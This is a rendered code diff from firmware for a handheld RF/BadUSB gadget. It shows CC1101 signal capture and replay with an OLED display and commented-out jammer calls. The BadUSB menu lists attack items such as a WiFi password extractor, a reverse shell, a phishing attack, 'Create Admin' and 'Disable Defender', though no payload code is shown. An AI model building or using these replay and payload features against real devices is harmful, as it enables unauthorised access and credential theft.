u8g2.drawStr(0, 54, "Waiting...");
|
||||||
|
}
|
||||||
|
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
// auto print once capture stabilizes
|
||||||
|
if (pulseIndex > 20 && (millis() - lastSignal > 1500))
|
||||||
|
{
|
||||||
|
stopCapture();
|
||||||
|
|
||||||
|
Serial.println();
|
||||||
|
Serial.println("===== RF CAPTURE =====");
|
||||||
|
|
||||||
|
for (int i = 0; i < pulseIndex; i++)
|
||||||
|
{
|
||||||
|
Serial.print(captureBuffer[i]);
|
||||||
|
Serial.print(", ");
|
||||||
|
}
|
||||||
|
|
||||||
|
Serial.println();
|
||||||
|
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
u8g2.drawStr(0, 15, "Capture Complete");
|
||||||
|
|
||||||
|
u8g2.setCursor(0, 35);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void handleMenu()
|
||||||
|
{
|
||||||
|
if (!isCC1101Ready())
|
||||||
|
{
|
||||||
|
if (!initCC1101())
|
||||||
|
{
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
u8g2.drawStr(0, 20, "CC1101 Failed");
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
delay(1500);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pulseIndex = 0;
|
||||||
|
|
||||||
|
startCapture();
|
||||||
|
|
||||||
|
// ===== CAPTURE FOR 5 SEC =====
|
||||||
|
unsigned long start = millis();
|
||||||
|
|
||||||
|
while (millis() - start < 5000)
|
||||||
|
{
|
||||||
|
noInterrupts();
|
||||||
|
int count = pulseIndex;
|
||||||
|
interrupts();
|
||||||
|
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_6x10_tr);
|
||||||
|
|
||||||
|
u8g2.drawStr(0, 12, "RF Capturing...");
|
||||||
|
|
||||||
|
u8g2.setCursor(0, 30);
|
||||||
|
u8g2.print("Pulses: ");
|
||||||
|
u8g2.print(count);
|
||||||
|
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
delay(50);
|
||||||
|
}
|
||||||
|
|
||||||
|
stopCapture();
|
||||||
|
|
||||||
|
// ===== DISPLAY CAPTURE BUFFER =====
|
||||||
|
int scroll = 0;
|
||||||
|
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
noInterrupts();
|
||||||
|
int count = pulseIndex;
|
||||||
|
interrupts();
|
||||||
|
|
||||||
|
u8g2.clearBuffer();
|
||||||
|
u8g2.setFont(u8g2_font_5x8_tr);
|
||||||
|
|
||||||
|
u8g2.drawStr(0, 8, "Captured Buffer");
|
||||||
|
|
||||||
|
// display 6 lines
|
||||||
|
for (int i = 0; i < 6; i++)
|
||||||
|
{
|
||||||
|
int idx = scroll + i;
|
||||||
|
|
||||||
|
if (idx >= count)
|
||||||
|
break;
|
||||||
|
|
||||||
|
noInterrupts();
|
||||||
|
unsigned long val = captureBuffer[idx];
|
||||||
|
interrupts();
|
||||||
|
|
||||||
|
char buf[32];
|
||||||
|
|
||||||
|
snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
|
||||||
|
|
||||||
|
u8g2.drawStr(0, 20 + (i * 8), buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
u8g2.sendBuffer();
|
||||||
|
|
||||||
|
// scroll down
|
||||||
|
if (btnDown())
|
||||||
|
{
|
||||||
|
if (scroll < count - 1)
|
||||||
|
scroll++;
|
||||||
|
|
||||||
|
delay(120);
|
||||||
|
}
|
||||||
|
|
||||||
|
// scroll up
|
||||||
|
if (btnUp())
|
||||||
|
{
|
||||||
|
if (scroll > 0)
|
||||||
|
scroll--;
|
||||||
|
|
||||||
|
delay(120);
|
||||||
|
}
|
||||||
|
|
||||||
|
// replay
|
||||||
|
if (btnSelect())
|
||||||
|
{
|
||||||
|
replaySignal();
|
||||||
|
delay(300);
|
||||||
|
}
|
||||||
|
|
||||||
|
// exit
|
||||||
|
if (btnBack())
|
||||||
|
{
|
||||||
|
delay(150);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
delay(20);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
|
||||||
|
|
@ -3,6 +3,9 @@
|
||||||
bool initCC1101();
|
bool initCC1101();
|
||||||
bool isCC1101Ready();
|
bool isCC1101Ready();
|
||||||
|
|
||||||
|
void captureAndDisplay();
|
||||||
|
|
||||||
|
void handleMenu();
|
||||||
void startCapture();
|
void startCapture();
|
||||||
void stopCapture();
|
void stopCapture();
|
||||||
void printCapture();
|
void printCapture();
|
||||||
|
|
|
||||||
|
|
@ -50,46 +50,22 @@ const char *nrfToolsItems[] = {
|
||||||
Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
|
Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
|
||||||
|
|
||||||
|
|
||||||
// BadUSB submenu
|
const char *badusbItems[] = {
|
||||||
const char *badusbItems[] = {"DEMO",
|
"ORION Demo",
|
||||||
"KEYBOARD",
|
"RickRoll",
|
||||||
"HID SCRIPT",
|
"Matrix Rain",
|
||||||
"Open Notepad",
|
"Fake Terminal",
|
||||||
"Open CMD",
|
"Wifi Password Extractor",
|
||||||
"Show IP",
|
"Fake Update",
|
||||||
"Shutdown",
|
"Fake BSOD",
|
||||||
"RickRoll",
|
"Glitch Screen",
|
||||||
"Create Admin",
|
"ASCII Spam",
|
||||||
"Disable Defender",
|
"Hacker Typer",
|
||||||
"Open YouTube",
|
"PWN Reverse shell",
|
||||||
"Lock PC",
|
"Phishing attack",
|
||||||
"Fake Update",
|
"Desktop Ghost",
|
||||||
"Endless Notepad",
|
"System Stresser"
|
||||||
"Fake BSOD",
|
};
|
||||||
"Flip Screen",
|
|
||||||
"Matrix Effect",
|
|
||||||
"I'm Watching U",
|
|
||||||
"Open Google",
|
|
||||||
"Open telegram",
|
|
||||||
"Play Alarm Sound",
|
|
||||||
"Endless CMD",
|
|
||||||
"Type Gibberish",
|
|
||||||
"Spam CAPSLOCK",
|
|
||||||
"Open Calc",
|
|
||||||
"Auto 'Hacked!'",
|
|
||||||
"Turn Off Monitor",
|
|
||||||
"Open RegEdit",
|
|
||||||
"Kill Explorer",
|
|
||||||
"Flash Screen",
|
|
||||||
"Rename Desktop",
|
|
||||||
"Toggle WiFi",
|
|
||||||
"Auto Screenshot",
|
|
||||||
"Spam Emojis",
|
|
||||||
"Open Ctrl Panel",
|
|
||||||
"Troll Wallpaper",
|
|
||||||
"Open MS Paint",
|
|
||||||
"Tab Switcher"};
|
|
||||||
|
|
||||||
|
|
||||||
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
|
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
|
||||||
|
|
||||||
|
|
@ -156,24 +132,9 @@ void launchFeature()
|
||||||
menuOffset = 0;
|
menuOffset = 0;
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 1:
|
case 1:
|
||||||
if (!isCC1101Ready()) {
|
handleMenu();
|
||||||
if (!initCC1101()) {
|
|
||||||
Serial.println("CC1101 failed");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Serial.println("Ready to capture...");
|
|
||||||
|
|
||||||
startCapture();
|
|
||||||
delay(5000);
|
|
||||||
stopCapture();
|
|
||||||
printCapture();
|
|
||||||
delay(5000);
|
|
||||||
replaySignal();
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 2:
|
case 2:
|
||||||
// startNRFJammer();
|
// startNRFJammer();
|
||||||
//startBleJammer();
|
//startBleJammer();
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue